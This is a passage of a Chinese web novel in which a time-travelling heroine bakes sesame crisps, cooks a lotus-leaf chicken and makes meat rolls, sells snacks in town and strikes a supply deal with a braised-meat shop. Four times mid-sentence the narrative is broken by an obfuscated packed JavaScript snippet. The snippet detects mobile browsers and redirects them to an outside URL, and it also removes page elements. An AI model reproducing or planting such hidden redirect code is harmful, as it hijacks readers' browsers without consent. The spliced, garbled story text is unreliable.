芝麻薄脆的食材其实很简单，主要是工艺上要费些功夫。但对于黎长安来说，想要在成本上省钱，就肯定省不得人力。 她拿出买好的白面和熟白芝麻，以及油、盐和麦芽糖，又取出擀面杖、鏊（音同“奥”）子等工具，洗净了手，准备开工。 她在白面中加了麦芽糖和少许的盐，缓缓倒入温水，揉成了偏硬的面团。 若是在现代，她可以把面糊倒进平底的大盘中，摇匀了送进烤箱。可是现在没有这样的条件，薄饼得她自己花功夫来擀。面团若是软了，到时候会粘会破，就做不成薄脆了。 等醒面完成后，黎长安将面团揪成一个个的小剂子，用擀面杖反复来回，直到擀成极薄的面皮，再刷上油，洒满白芝麻，又用擀面杖轻压了一回，将芝麻嵌进面中。 到此，便可以开始烤了。 她伸了伸腰背，活动了下因为重复动作而有些酸痛的肩膀，将鏊子架到了小炉上。 这是一种平底无边、中间微凸的炊具，有点像现代人摊春卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491388|202246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮用的那种。黎长安将炉子的火控制得很小，开始一个个地烤薄脆。 随着火慢慢地将面皮烘干，芝麻薄脆开始渐渐有了模样——金黄的色泽、微焦的边缘，已经非常接近她之前吃过的样子。再加上厨房中飘散的浓郁香气……啊，简直诱人得紧。 只不过，现在还不能吃。 刚烤好的薄脆要等到彻底放凉，才会变酥变脆。 黎长安早已准备好了竹筛，烤完的一个个放进去晾着，等着最后切片。 等待凉透的时间里，她开始准备油纸包和绳子。 之前在码头上和乔氏夫妇学过手法，现在的她已经能非常快速的打包了。 薄脆这样每份包好，外观好看又卫生，客人们也方便。就算暂时不吃也能隔绝潮气，略放几天没有问题，很适合带出去摆摊。 终于，薄脆晾好了。 黎长安拿起刀，缓缓切了下去。 咔嚓—— 美妙的酥脆声。 她拈起切掉的边角，送入口中。 满口白芝麻的醇厚香气，还有麦芽糖的丝丝甜蜜，加上极脆极酥的口感——嗯！满分！ 她一点也不怕骄傲。 自己这么辛苦地把芝麻薄脆复刻出来，打个满分怎么了！ 她就着这股子成功的高兴劲儿，也不歇息，把所有的薄脆都切成了小块——边角部分专门留出来供人试吃，中间的则切成小小的长方，这样好吃好拿，讲究点的文人、女眷们也能吃得优雅。 她打包了所有的薄脆，从中拿了约五十份上下，装进一个垫着干净素布的竹编提篮里，换上新买的青色衣裙，簪了一个素木簪子，最后带上了一个小铃铛，出门了。 她给自己的薄脆定价8文钱一包。这样的价位，镇上有好几处地方的人家是能消费得起的。 例如主街，这里有最多的商铺，生意人多，来消费的人也多； 例如书院私塾，读得起书的大多家中都还不错，这类小零食又雅致，多半对得上他们胃口； 又或者富人居住的深宅大院，她虽然进不去，但在周边街巷摇摇铃铛，也许能吸引好奇的女眷出门看看。 不过这第一天，黎长安拿不准哪里更好卖。她准备沿街走走，一路叫卖，看看实际情况。 - “叮铃——叮铃——” “芝麻薄脆——文火慢烙、焦香酥脆的芝麻薄脆——精细小点，香甜可口——解馋零嘴——” 于是，今天下午的这些地方，有好些人都见着一个青衣的年轻小娘子，干干净净地挎着个篮子，不急不徐地在街边叫卖。 她晃两下铃铛，又轻缓温柔地吆喝上一句，声音不大不小，刚好能听清，又不显得闹人，倒是引人侧目。 “哎，小娘子，你这芝麻薄脆是什么？” 很快，便有好奇者上前询问。 黎长安盈盈一笑，将准备好的试吃递上前去： “是用白面、芝麻和麦芽糖做的小零嘴，客官可要试吃？” 8. 荷叶鸡 “有试吃？好啊。” 来问的是个四十多岁的妇人，平日里就爱吃点甜的，方才一听黎长安吆喝，就起了兴致。 芝麻薄脆是什么？以前不曾听说过呢。 她低头看看递到眼前的纸包，里面满满当当放着些薄薄的、焦黄的片状物。一股香气混合着芝麻和糖的味道也扑面而来，盈满了她的鼻尖。 好像不错啊！ 她满心期待地从纸包中捻出一片。 只见这薄片似乎比那云片糕还要薄，在阳光下甚至还有些微微透亮，但却是硬的，上面扎扎实实地洒满了白芝麻。 看来，做这吃食的人一点也不含糊。 周围有人正好奇地关注着这边，见那妇人手中薄脆的模样，也起了好奇心，走上前来。 “你这能试吃？” “当然。”黎长安笑道，将纸包递给他。 这时，妇人已经将薄片放入口中。 “咔嚓——” 伴随着一声清晰的脆响，妇人的眼睛惊喜的睁大，想说些什么又觉得有点不雅，于是细嚼品味一番，咽下后才迫不及待地问黎长安。 “多少钱一包？我从未吃过口感如此新奇的零嘴！料也用得足！” “8文钱，”黎长安从篮子里拿出一份包好的，约摸掌心大小，2指的厚度。“客官看看，一份这个量。” 妇人拿到手中摸了摸，又点点头：“能放多久？” “客官若是吃不完就还用这纸包起来，免得受潮不脆了。放个三五天是没问题的。” “我要——要两包吧！”妇人只犹豫片刻便掏出钱来，又加了一包。 “对了，你这有固定的摊位吗？若是我以后还想买，得去哪找你啊？” 黎长安一听，这是开门红呀！第一位客人就如此认可，甚至想长期回购了！ “多谢喜爱！”黎长安笑弯了眼，真挚谢道。“我目前确实没有摊位，但也计划着以后租下一间。” “最近我会在这附近走街串巷地卖，也不一定每日都是这芝麻薄脆，也许还会有些新花样。客官若是回家后吃着好，下此再碰见我可留一个地址，我送到府上也行。” “那这碰不碰得着，还得看缘分了？”妇人打趣了一句，也没再多说什么，满意地走了。 和这位妇人说话的时候，黎长安身前又围了几个好奇的围观者，试吃后大多也买了一包。 “我倒不怎么爱甜食，不过你这着实新奇，冲着没见过也得买一包，回去给同僚们瞧瞧。” “我母亲爱小零嘴，大抵吃得中你这个。小娘子以后做了新的，还要来卖啊！” “一定一定！” 黎长安春风拂面般的一个个招呼着客人，直到不再有新客才往下一个地方去。 哎呀，做这中高端的生意就是赚得快。 手头宽裕、舍得为不饱肚子但新奇的零嘴花钱、也不讲价，多好的客户。 她将装铜板的荷包藏在篮子的夹层里，掂一掂，沉也高兴。 - 没等黎长安转完所有的地方，她带出来的芝麻薄脆就卖完了。 宅子里的妇人们也许一家只买一两包尝尝，但像衙门、学堂这种多人聚集的位置，一下就能卖掉很多。 等篮子空了，她默算了下今天的利润，决定去买只鸡犒劳一下自己。 穿来这么多天，为了攒钱，她沾过的荤腥一直都只有乔家面摊的猪杂，从来都没吃过别的。 倒不是嫌弃猪杂，主要是她太想换换口味了！ - 也是巧了，黎长安还未到集市，倒先碰上了挑着鸡笼沿街叫卖的小贩。 她上前一问，价格合适，便挑了两只过秤，一只准备留着下蛋，另一只则加了点钱，让小贩放血拔毛处理干净。 若是在现代买一只活鸡，小贩们拔了毛肯定是随便扔地下的。这玩意儿谁要啊？ 可这个时代不同，别说内脏了，毛也是要细心捋下来留着用的。 小贩手脚麻利，拿了个容器接着放出来的鸡血，加点盐搅拌搅拌，静置后就成了凝固的血块。又将鸡毛、内脏分别分开，都用荷叶包上，绳子捆好，递给了黎长安。 黎长安道了声谢，想想自家其他食材都还有，也就不再闲逛径直回家。 毕竟她临时起意要买鸡，事先也没准备个碗什么的。鸡血太嫩，在荷叶里兜一会儿还好，若是久了只怕就要碎了。 晚饭做个荷叶鸡，加个鸡血汤，到时候是肯定吃不完的，也分出一份，给乔家送一点。 - 黎长安回到家，把新增的活鸡放到地上，叫它自己去找食，又将一身旧衣换了回来——那浆好的一套青色衣裙可金贵着呢，出门做生意才能穿。 她洗净了手，将鸡拿出来也清洗干净，然后撒上一点盐、淋上一点黄酒，加上姜和葱段开始给它仔细“按摩”。没办法，调料不像现代那样量大又便宜，若想省一点，就要尽量把味道都揉进去。 揉完后，鸡可以放到一边等它腌制入味。她另去准备了笋子切丁、糙米白米和着一点糯米，准备塞进去做填料。 哎，条件有限呐。如果是富贵人家，这填料全用白米糯米、火腿香菇什么的肯定更香，不过此时的香菇可是山珍，火腿也贵，要是做这样的高配版，她的积蓄恐怕得一下清空。 也只能在想象里馋一下了。 鸡的腌制很要等些时间。黎长安趁着这会儿找了个大盆，把鸡毛分拣一下，放进加了温水的盆里，开始用草木灰搓洗。 这是系统教她的方法，说这样能够去除血污腥气和油腻，等洗好漂干净了，找个室内通风处阴干，以后留着扎鸡毛掸子、做垫子夹层、引火助燃、或者攒多了找货郎卖掉，都是不错的，一点都不浪费。 等鸡毛处理好，鸡肉也腌得差不多了。 她新切了点姜片葱段，和填料一并塞进鸡腹，直填得满满当当鼓胀起来，才用洗净的软荷叶严严实实地包好，草绳一捆，上锅开蒸。 至于鸡血汤，那个倒是很快，等荷叶鸡快蒸好时再做就行了。 黎长安连轴转了一整天，此时终于是闲了下来，搬了个小凳坐在灶台旁看火。 可闲了没一会儿，她又想起来，这蒸鸡要花的时间可不少啊。那这蒸鸡用的水和火也不能浪费了！ 于是，她洗了几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491389|202246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红薯丢进锅里——等熟了拿出来剥皮切片，码到簸箩里，晒好就是红薯干了，又是一样能卖的小零嘴。 - 屋外天色渐渐的黑透了。 黎长安为了卖芝麻薄脆，中午本来吃得就早，加上一整个下午的体力活，能量已经消耗殆尽。此时一边等着鸡，一边在浓烈的香气中被考验着意志，整个人被勾得越发觉得腹中空空，几次动了‘要不现在就拿出来吃’的念头。 不过，也不是她一个人受此折磨。 红花巷的左右街坊们，此时都在想同一个问题： 谁家做饭这么香啊？做的是什么啊？ 内向不爱言辞的，就着这个香气一边咽着口水，一边扒拉自家的糙米饭； 而那外向好八卦的，好几个都从院中探出头，鼻子使劲寻找着香味的来源，最后在黎家门口碰头了。 几人对视一眼：要不敲门问问？ 嗯！敲！ “咚咚咚。” 黎长安听到叩门声，暗暗有些疑惑。这个点谁会来找她？莫不是周娘子的事有结果，乔三婶子来了？ 她起身去开门，却见门外站着几个人，王婶子和之前见过的姚青青也在其中。 至于其他的……好像都是住在附近的邻居。虽然前段时间每日早出晚归的，但偶尔也碰见过其中一两个。 “哎，长安啊，你家做什么呢？怎么这么香啊！” 一个大叔十分直接，也省去了招呼，张口就问了。 “是呀是呀，住你隔壁可害苦我了！下午闻着芝麻香，这会儿又是肉香，馋死我了！”姚青青也道。 “不好意思打扰到大家了，我在蒸荷叶鸡呢。”黎长安有些抱歉。 她太能理解这种心情了。只可惜，鸡就这么一只，没法分呀。 好在，大家也不是来“你好，我吃一口的”，只是单纯的好奇，一个个都用热切又期待的眼神看着黎长安。 “荷叶鸡？那是什么做法？能教教我们吗？” “能啊。” 黎长安笑着，很爽快地应了，把什么工序、用什么材料、做多长时间都细细的讲了，听得众人连连点头，似乎已经在幻想自己复刻同款美味的场景了。 他们得了方子，兴高采烈的散了。而黎长安的荷叶鸡也终于蒸好了。 她一边从锅中取出那馋了好久的鸡，一边和系统聊着天。 “你就这么把方子给他们了？以后开店的话，这可也是一道菜呢。” “这有什么关系，又不是需要特殊材料或者手法的菜，无非花些功夫而已。”黎长安毫不在意地揭着荷叶。 “再说了，不是你说，我的目标是‘提升这个世界的饮食和生活品质’嘛。传授菜谱，很符合啊。总不能天下美食都得我自己来做吧，那得累死了。” “很好！我就喜欢你这样的人！”系统嘿嘿一笑。“我果然没有选错人~恭喜，你的贡献值又涨了一点点点哦！” 哦？这样可以涨贡献值？这倒是意外之喜。 黎长安思忖着。 也许，等自己以后小有名气了，可以联系下书商，看看他们对出版菜谱有没有兴趣。 9. 周娘子 思量间，荷叶已经揭开了，一整只浅黄油亮、香气扑鼻的鸡露了出来。 “啊……好香……” 黎长安简直成就感爆棚，凑近深深吸了一口气，满足地叹息一声。 “我真是太厉害了。” 她取了把刀，从中间将鸡一分为二。 经过长时间蒸制的鸡已经非常软烂。刀子一划，便轻松分开，露出中间的填料。塞得足足的米饭和笋丁经过了鸡肉的包裹、油脂的浸润，此刻正泛着润泽的亮光。 黎长安没忍住，取了筷子夹起一小口，放入口中。 柔软微糯的米，加上脆脆的笋丁，带着鸡肉的鲜香滋味——好满足！ 她又尝了块鸡肉——软烂到脱骨，除了肉本身的味道，荷叶和笋的香气也蒸了进去，层次丰富，满口余香。 她有点恋恋不舍地放下筷子，另拿出一张干净荷叶，将刚才没动过的一半分了出去，又严实包好——这是一会儿要给乔家送的。 方才给邻居们讲菜谱，鸡血汤耽误做了。不过这个挺快，抓紧做上，马上就能出锅。 - 黎长安等汤一好，拿了罐子分出半份，连同荷叶鸡一起装进提篮，去了乔家。 乔氏夫妇还没回来，来开门的，是他们上了年纪的老父亲。 此前，黎长安已抽空拜访过乔家，乔老爷子一看清是她，满是皱纹的脸上顿时堆满了笑容。 “哎呀，是黎丫头来了！快请进快请进！小虎，去倒杯茶来！” 老人一面把黎长安往家里迎，一面招呼小孙子去招待客人。 “不了爷爷，不用麻烦，我就过来给你们送个菜。”黎长安把篮子递过去：“刚刚新做的荷叶鸡，还有鸡血汤，我都分了一半，你们尝尝。” “哎呦，谢谢谢谢，”乔老爷子接了过来。“你可太有本事了，帮着我们家多赚了那么多钱，自家做吃的还想着我们！” “这哪里算多！从前我病着的时候，你们不也做饭想着我嘛，都是应该的。三叔三婶还没回吗？” “没呢，估计一会儿就到了。正好你带来的菜，一会儿叫他们都尝尝。” “这样，那我先回去了。”黎长安还心心念念地惦记着自己的荷叶鸡：“我家的菜还在灶上温着呢，一会儿吃过饭了再来，有事想和三叔三婶说。” “哦，好好好，那便不留你了，路上当心啊。” - 黎家和乔家离得很近，就是隔壁巷子的关系，黎长安不介意多跑两趟。 回到家，她在院中摆了矮桌和小凳，将灯笼放在桌边，又加了盏油灯，才从灶里取出温着的鸡和汤。 尽管条件简陋，但也是天幕下简易的烛光晚餐了。 荷叶鸡和刚蒸出来时一样的美味，黎长安在暖融融的橙光中吃着鸡喝着汤，抬头就是漫天的星辰，熠熠闪烁。 好美。 她不禁想象，如果自己的院子里有整洁的竹篱笆，成片的新鲜蔬菜，墙边再架上架子，种些爬藤的植物，等藤爬满架子时，她在院中置一张摇椅，夜里观星纳凉，看着叶子在风中摇动，沙沙作响，该是何等惬意。 - 饭后，黎长安收拾好碗筷，带上了几包芝麻薄脆，又提着灯笼去了乔家。 一进院子，便受到了乔家小孙子小虎的热烈欢迎。 小娃娃一见黎长安就飞扑上前，抱住她的腿：“黎姐姐太厉害了！那个荷叶鸡太好吃了！我从来没吃过那么好吃的鸡！” “小虎喜欢呀？那以后我们多多挣钱，小虎也努力帮忙好不好？那就可以经常吃了。” “好好好！我六岁能干很多活了！洗下水、看火、洗衣洗碗扫地我都会！” 黎长安拍拍他的头：“真棒！” 乔三婶在一旁笑道：“你已经帮我们多挣好多钱了，小虎快到生辰了，今年都有余钱能给他多裁一件衣服了！快快快，进屋坐，周娘子那边也有信了。” 黎长安进了屋，见过了乔家的老爷子老太太，又托他们向不便见人的乔家大伯问了声好，便和乔三夫妇坐到一处，听听他们的消息。 “我们私下找了周娘子，她自己是乐意的。所以我们就按你说的，拎了点米面之类的去周家。”乔三婶道。 “也不说是找人做活计什么的，只说是托周娘子帮忙，看他们家里是读书人家，她婆婆养出优秀的儿子，肯定媳妇也是差不了的。” “总之就是夸上一番把她高高架起来，然后再说这样的人家肯定良善重情、愿意帮助邻里，做了好事是给她家读书郎增添贤名的。以后做了官，上官一打听，白身时就这么品德高尚，以后官运一定亨通。” “这么一讲，那周婆子果然脸色就飘飘然了，只觉得是儿子还没做官就有人求上门来，脸上有面，加上说给她儿攒功德，她也不记得问具体是要去做什么，没怎么难为就松了口。” “以后我们就在铺里加个布帘，周娘子早些去，只在后头帮忙不露面，少叫人见着就行了。万一有人知道了问起来，就说是我们百般相求，周家心善才答应的，是扶助街坊。” “周家婆婆就算回过味儿来，名声已经立了，她又不好再自己把它毁了，就只能同意了。” 乔三婶说得高兴，喝了口水又道：“这下好了，周娘子省得天天受她婆婆冷眼，我们又多了帮手。你的主意好呀。” 乔三叔也在一旁点头：“周娘子最后送我们出来的时候还千恩万谢的，眼睛都红了，说委屈我们了，这么替她想着。嗨，要我说，嘴上吃点亏算什么。大家最后都能得利就好了。” 黎长安也笑：“那是叔叔婶婶会说，这问题算是解决了。反正金窝窝的做法你们都会，周娘子得你们信任，一定也是一教就明白。” “只是日后算钱时，周娘子那份恐怕要分两部分，一份她自己留着做体己，一份换成周家用得着的东西，只说是‘谢礼’带回去，应对她婆婆。” “好，一定一定，你想的周到。”乔三婶点头附和。 “今日我还有件事，想来问问叔婶。”黎长安换了个话题。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491390|202246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“咱们码头那边的陶记卤味铺，掌柜的人品如何啊？” “怎么突然问他？”乔三叔有些意外。“那是陶家的老铺子了，现在的掌柜叫陶文成。他爹娘原本是想让他读书的，结果念了几年发现实在不是这块料，就还是回来经营铺子了。不过受了几年熏陶，人还真是有几分读书人的样，挺讲道理的。” “那便好，”黎长安笑道。“实不相瞒，我有生意想同这位陶掌柜聊聊。” 她掏出那几包薄脆。 “这是我今天刚做的小零嘴，白面芝麻和麦芽糖做的，你们尝尝？” 乔氏夫妇接过来，打开一看：“呦！这么小巧这么薄呢！亮处还都透光了！” 接着放入口中，又是一阵惊喜：“这也太香太好吃了！” “白面做的，还这么花功夫，肯定贵吧？” “是有点。”黎长安点头。“这么一小包8文钱，抵面摊上一碗加猪杂的面了。” 乔氏夫妇对视一眼，把剩下没吃完的又包了起来。 “我们尝尝就行，就拿一包，一会儿家里人分分。其他的你还是拿去卖吧。” “叔不用这么客气！”黎长安道，“我一次能做好些呢，留着吧。” “我是想着，陶记铺子的吃食是码头这边卖得最贵的，顾客都是客商、船老大、周边掌柜一类的人，花得起钱。这样的小零嘴又好吃又好带，可以放些在陶记的铺子里卖，陶老板从中抽成，我省了功夫他也赚了利，双赢。” “那敢情好啊。”乔三婶点头。“他是个讲规矩的，你可以去问问。” “行，那我心里就有底了。”黎长安笑道，起身向他们告辞：“天色不早了，我就先回了，叔叔婶婶早些休息吧。” “好好好，你也慢些回。” 乔氏夫妇把她之前带的提篮拿了过来，里面装满了新鲜的菜。“新摘的，拿回去吃，我们送你。” 待走到门边时，乔三叔突然又停了下来。 “丫头啊，有件事忘了问。叔没有别的意思，就是想知道，你有没有给其他邻居送过吃食？” “给王婶子送过一些，别家还没有。”黎长安不明所以，“怎么了？” “是这样，我们都很感谢你送来这些。不过呢，以前虽然主要是我们养着你，但街坊邻居看我们过得辛苦，也都有照顾，自家的菜啊什么的有时会给我们送些，才叫我们能够维持下去。” “现在你好了，要是老给我们送，不记得他们……我怕日子久了，他们心里不大舒服。” 乔三叔压低了声音。 黎长安恍然，又突然想起那日晚归，找姚青青借的灯笼。 那是装满了灯油的。 “我晓得了。谢谢叔叔婶子。”她笑道，“如今是我一个人能力有限，做不出那么多吃食。等日后有能力了，一定像待周娘子那样，叫大家和我一起赚钱。” “那就好那就好，心里记得他们就好。”乔三叔笑得欣慰。“你这丫头有本事，以后肯定能像陶家那样，开个大铺子！” 10. 锦香肉卷 黎长安这晚睡得很好。她一夜无梦，早晨又听着邻居家公鸡的打鸣声起了床。推门出去，深吸一口晨间的新鲜空气，伸了一个舒展的大懒腰，只觉得神清气爽，浑身的疲惫都消散一空。 今天也是要努力的一天！ 吃过早饭，她去集市上买了点猪肉，特意叫老板切了一点肥的加进去，一并剁碎。 她想做一点肉龙，和芝麻薄脆一起带去陶记的铺子，看看能不能谈供货的合作。 - 回到家，黎长安先拿出一小块之前存留的干面肥，用温水化开了。 这是系统教的方法。古代没有酵母，因此发面时要特意留一小块生面团做下次的“引子”。这生面团里有酵母菌，能帮助新面团发酵，只要将它彻底晒干，干得像石头一样硬，就能保持数月之久，不会变质。 她将化开的面肥倒入面粉中，撒上一点盐，搓揉成软乎的面团，等待发酵。 肉馅的制作也很简单，肉末中加姜末、葱花和一点油、盐、面酱，倒点凉水搅匀上劲就好了。 等面发好，黎长安将它又揉了揉，取来擀面杖擀成了一大张薄面皮，然后将搅好的肉末均匀地抹上去，一点点卷起来最后捏紧收口，形成一个大粗卷，便是一条完整的肉龙了。 接着，她取出蒸笼，将肉龙切成小段摆好，等上锅蒸熟。 黎长安坐在灶前，一边拨弄着火，一边想着给肉龙取个新名字——毕竟按现代的北方叫法，不论是“肉龙”还是“懒龙”，可都是大大的犯忌，别生意还没做，先把脑袋搞丢了。 她和系统嘀咕一阵，决定改名叫“锦香肉卷”，又好听又直观，应该符合对应客群的品味。 - 约莫两刻钟的功夫，肉龙蒸好了。 黎长安揭开盖子，白色的蒸汽顿时翻涌着挤了出来，夹杂着面点的香气，盈满了整个厨房。 她夹起一个，只见肉龙柔软雪白的面皮层层包裹着肉馅，从切面便能看得出用料扎实。一口咬下去，面香混合着肉的咸香，正是曾经熟悉的味道。 她满足地包起几块肉龙，和芝麻薄脆一并装入提篮，换好衣裳便出门向码头处走去。 - 陶记的卤味铺开在码头那条街和另一条主路的转角处，大大的红底招幌十分惹眼，再加上店内卤汤的飘香，隔得老远便向过路者彰显着自己的存在感。 黎长安迈步进了店，见几个客人正在挑选卤菜，而两三个伙计一边招呼客人、一边打包记账，都不太得空。 她也不着急，自己在店内转了起来。 陶记不愧是开了几代的老店，店内打扫得干净亮堂，各式卤菜分类摆放，看色泽看品质，都是挑着好材料、用功夫做的。 终于，有个年轻的小伙计得了空，上前招呼她：“小娘子有什么想买的？可是第一次来我们陶记？需不需要推荐一二？” 黎长安冲他一笑：“你好，敢问陶掌柜可在？我姓黎，前些时也在码头做些吃食的买卖，有笔合作想和陶老板谈谈，不知他是否方便，可能见上一见？” 伙计微微一愣，又很快笑道：“好嘞小娘子稍等，我去请掌柜的下来。” 他“咚咚咚”地跑上楼，不多时又跑了下来，后面跟着一个面白微胖、面带微笑的中年男人，应该就是陶掌柜了。 陶掌柜先笑眯眯地和店里几个熟客打了招呼，才走到黎长安面前，略一拱手：“黎小娘子是吧？伙计说你之前在码头做过吃食买卖，不知是哪家？” 黎长安也见了礼，笑道：“陶掌柜好，我在乔氏猪杂面的摊位上做过面点的买卖。小本生意，比不上陶掌柜这么体面的老铺子，但自认手艺不错，客人们都喜欢。” “这次来带了一样主食、一样零嘴，都是白面做的，大抵配得上您店里的客人。想请陶掌柜尝一尝，若是合适，不知能不能在店里搭着卤味售卖？” 陶掌柜听了，没有马上点头，面色显得有些犹豫。 他的店子卤味腊货素什锦样样齐全，还给酒楼供着货，大小客都不缺，实在是没有什么新添品类的必要。 但秉着“和气生财”的原则，他也没有马上拒绝。 “我前阵子听伙计们说过，说乔氏的面摊上多添了一样面点卖，玉米面做的，叫‘金窝窝’，想来就是小娘子在卖了？” “正是。”黎长安应道。 “听说是挺多人买的，既然如此，请小娘子上楼，让陶某也尝尝你的手艺。” - 黎长安跟着陶掌柜上了楼，被带至窗边的一张方桌旁坐下。 陶掌柜客气地给她倒了杯茶，黎长安谢过，从篮中取出两样吃食，一一介绍。 “这个名叫‘锦香肉卷’，是白面卷着肉馅蒸制的，咸香口味，方便做配着卤味的主食。” “这个名叫‘芝麻薄脆’，是白面、白芝麻和麦芽糖做的，脆甜的小零嘴，就这么冷着吃，方便携带又解馋。客人们吃了咸的，吃口甜的也能换换口，请掌柜的尝尝。” 陶掌柜看着她揭开纸包，脸色从看到这两样吃食起，就变得更认真了。 他看看吃食，又抬头看看黎长安。 这小娘子，真人不露相啊！瞧着就是个秀气清瘦的年轻姑娘，没想到拿出来的东西他全没见过！ “这个锦香肉卷得刚蒸出来才最好吃吧？”他指着肉卷问。 “是的。”黎长安点头。 陶掌柜起了身，端起那几个肉卷走到楼梯旁，冲下面喊道：“小七，快，来来来，上来下，把这个拿去再蒸蒸。熟的，热了就再端上来啊。” 先前那个小二应了声“好嘞！”，又“噔噔噔”地上来把肉卷端走了。 陶掌柜回到桌前，笑得更真心了几分：“不着急不着急，那肉卷看着就不错，要吃就吃最好的状态。我先尝尝这薄脆。” 他拈起一片，举起来就着日光端详片刻，才放入口中，一口咬下，挑起了眉毛。 “好！”他细细品味一番，咽下后才夸道：“黎小娘子好手艺好巧思，想得出这般新奇做法！不知定价如何？” “这薄脆有些费功夫，一小包8文钱。我昨日在主街、学堂那边都试卖了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491391|202246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下，反响不错的。” 陶掌柜连连点头，将剩下半片也吃了：“嗯，是好吃。” 他没急着细聊合作，只与黎长安闲话两句，等着伙计的肉卷。 不多时，那个名叫小七的伙计将肉卷装了盘，带着筷子上来，摆在了陶掌柜面前。 陶掌柜凑近，深吸口气才夹起来，咬了一口。 这个也好！肉馅的汁水浸入柔和的白面，热气腾腾，满口留香。 他一脸满足的吃完一个，又是夸赞一番。却放下了筷子，面色也有些纠结。 方才……明明是满意的呀？ 黎长安原本预想着陶掌柜如此中意，应该是能一口答应合作的，没想到还没谈价便如此犹疑，也不知是有什么顾虑？ 她也不便催促，只能静静地等着陶掌柜考虑。 幸好，陶掌柜也没叫她等上太久。 “黎小娘子啊，你的手艺确实是好。勇于上门自荐，也令陶某十分佩服。” 黎长安心中咯噔一下。 这开头，听着后面有“但是”啊。难道是不成？ 果然，陶掌柜接着就道：“但是，我恐怕只能接受‘锦香肉卷’这一样的合作。” 黎长安提起来的心又慢慢放了回去。 还好还好，一样也行啊。 “并非是芝麻薄脆不好。”陶掌柜面露遗憾，接着道。“我个人是很喜欢的，可是犹豫再三，还是觉得它不适合在我们店里售卖。” “身为掌柜，我不能只考虑个人好恶，还得打理店里所有的货品。你也瞧见了，这样的小零嘴和我陶记其他的吃食都不大相干，若是开了这个口子，今天老张加一样，明天老李加一样，我这卤味铺可就杂了。” “但这肉卷倒还可以尝试一二。我们为着码头的客人方便，本就也备了配菜的主食，不过只有炊饼一样。现在丰富一下，加上这个肉卷，也是可以的。” 黎长安喜出望外，连声道谢。 听陶掌柜这么一说，她也觉得芝麻薄脆的事确实是她考虑不周，倒给掌柜的添麻烦了。 不过，陶掌柜也真是个厚道的生意人。他话风一转，又道：“如果你想给大的店家供货，或者直接卖这芝麻薄脆的方子，我倒另有门路，可推荐给你。” 黎长安连忙向他请教。 “悦香楼你知道吧？”陶掌柜问。 黎长安点头。这是镇上最大的酒楼了。 “他们家的卤菜是我们陶记供的货。你去说是我陶文成介绍的，应该能见到他们掌柜。只不过有一点，那可是大酒楼，掌柜的可精明着呢。以你目前的情况，要么等做出点小名气，要么等他们自己来找你，不然可能会被压价。具体怎么办，你自己决定吧。” 黎长安又是再三谢过。 没想到，陶掌柜不仅愿意搭个人情，甚至还好心指点一二，看来确实像乔氏夫妇所说，此人为人不错，值得一交。 接下来，两人在客气的商业互捧中敲定了售价分成送货时间等等一并细节，陶老板又预付了一笔定钱，才将黎长安送出了铺子。 11. 红枣方糕 谈成了合作，黎长安的心中很是轻快。 她如今本金和人手都不足，暂时开不起自己的铺子。和陶记这样的大店家合作，一方面省去了自己叫卖的功夫，一方面也是一项稳定的进账。 目前陶掌柜也不知道这锦香肉卷好不好卖，定的不多。但这也是好的开始，如果后续客人们的反响好，不仅订量能增加，还能方便谈些新的合作，比如荷叶鸡什么的。 她步伐轻快地向集市走去。 包吃食的油纸和绳子前几日用了很多，需要补充一些。此外，她还要买些红枣、糯米粉、粳米粉等食材。家里的芝麻薄脆只余二十来包了，下午她想新增一样红枣糕，带出去一起售卖。 - 黎长安买的量多，这些时日已经与米粮铺子的老板熟稔很多。因着镇上的人们平日里也有做糕点的需求，店里日常都备着各种磨好的粉。 她看了看品质，要了粗点的粳米粉和精细的糯米粉。 糯米粉要够细，是因为这样成品才能软糯细腻不夹生。而粳米粉则正好不同，保留一点稍粗的颗粒，反而做出来是它的最佳状态。 在传统糕点的制作中，这两者都是最常用的食材之一，而且常常会被搭在一起，混合使用。 